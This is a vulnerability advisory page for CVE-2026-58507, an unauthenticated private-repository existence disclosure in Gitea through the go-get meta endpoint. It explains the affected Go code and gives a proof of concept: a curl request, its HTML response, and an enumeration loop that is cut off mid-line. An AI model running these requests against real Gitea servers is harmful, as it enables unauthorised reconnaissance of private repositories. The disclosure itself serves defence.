🛡️ CVE-2026-58507 — gitea.dev
Description
Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint
| Field | Value |
|-------|-------|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63–66, services/context/repo.go:374–396 |
| Prerequisite | None — fully unauthenticated |
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:
- The repository is private
- The requesting user is authenticated
- The requesting user has any permission on the repository
The entry point is routers/web/repo/githttp.go:63–66:
```go
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...
```
The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:
```go
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}
```
The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
1. The full repository name and owner — confirming the repository exists
2. The HTTP clone URL — a fully-formed URL pointing to the repository
3. The source browsing URL templates — which may reveal the default branch name
This allows an unauthenticated attacker to:
1. Confirm existence of any private repository by name
2. Enumerate private repository names through brute-force without triggering authentication failures
3. Harvest clone URLs and default branch names of private repositories
Proof of Concept
Step 1 — Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
Step 2 — Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
Step 3 — Bypass using go-get parameter
```bash
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"
```
Actual response (HTTP 200):
```html
<!doctype html>
<html>
<head>
<meta name="go-import"
content="localhost:3000/admin/classified-internal
git
http://localhost:3000/admin/classified-internal.git">
<meta name="go-source"
content="localhost:3000/admin/classified-internal
_
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
</head>
<body>
go get --insecure localhost:3000/admin/classified-internal
</body>
</html>
```
The response:
- Returns HTTP 200 (not 404) — confirming the repository exists
- Reveals the full clone URL:
http://localhost:3000/admin/classified-internal.git - Reveals the default branch name:
main - Reveals the owner username:
admin
This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
Step 4 — Enumerate private repositories at scale
```bash
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/$
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.
Weakness class
CVE-2026-58507 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
Affected software
CVE-2026-58507 is recorded against 2 packages.
- code.gitea.io/gitea
- gitea.dev
Timeline and source
Published on 21 July 2026 and last revised on 27 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.gitea.io/gitea | — | — |
| gitea.dev | — | — |
References
Similar Threats
- High CVE-2021-3382
- High CVE-2020-14144
- Medium CVE-2022-38183
- Medium CVE-2022-1928
- Unknown CVE-2019-1010261
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-58507?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-58507 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.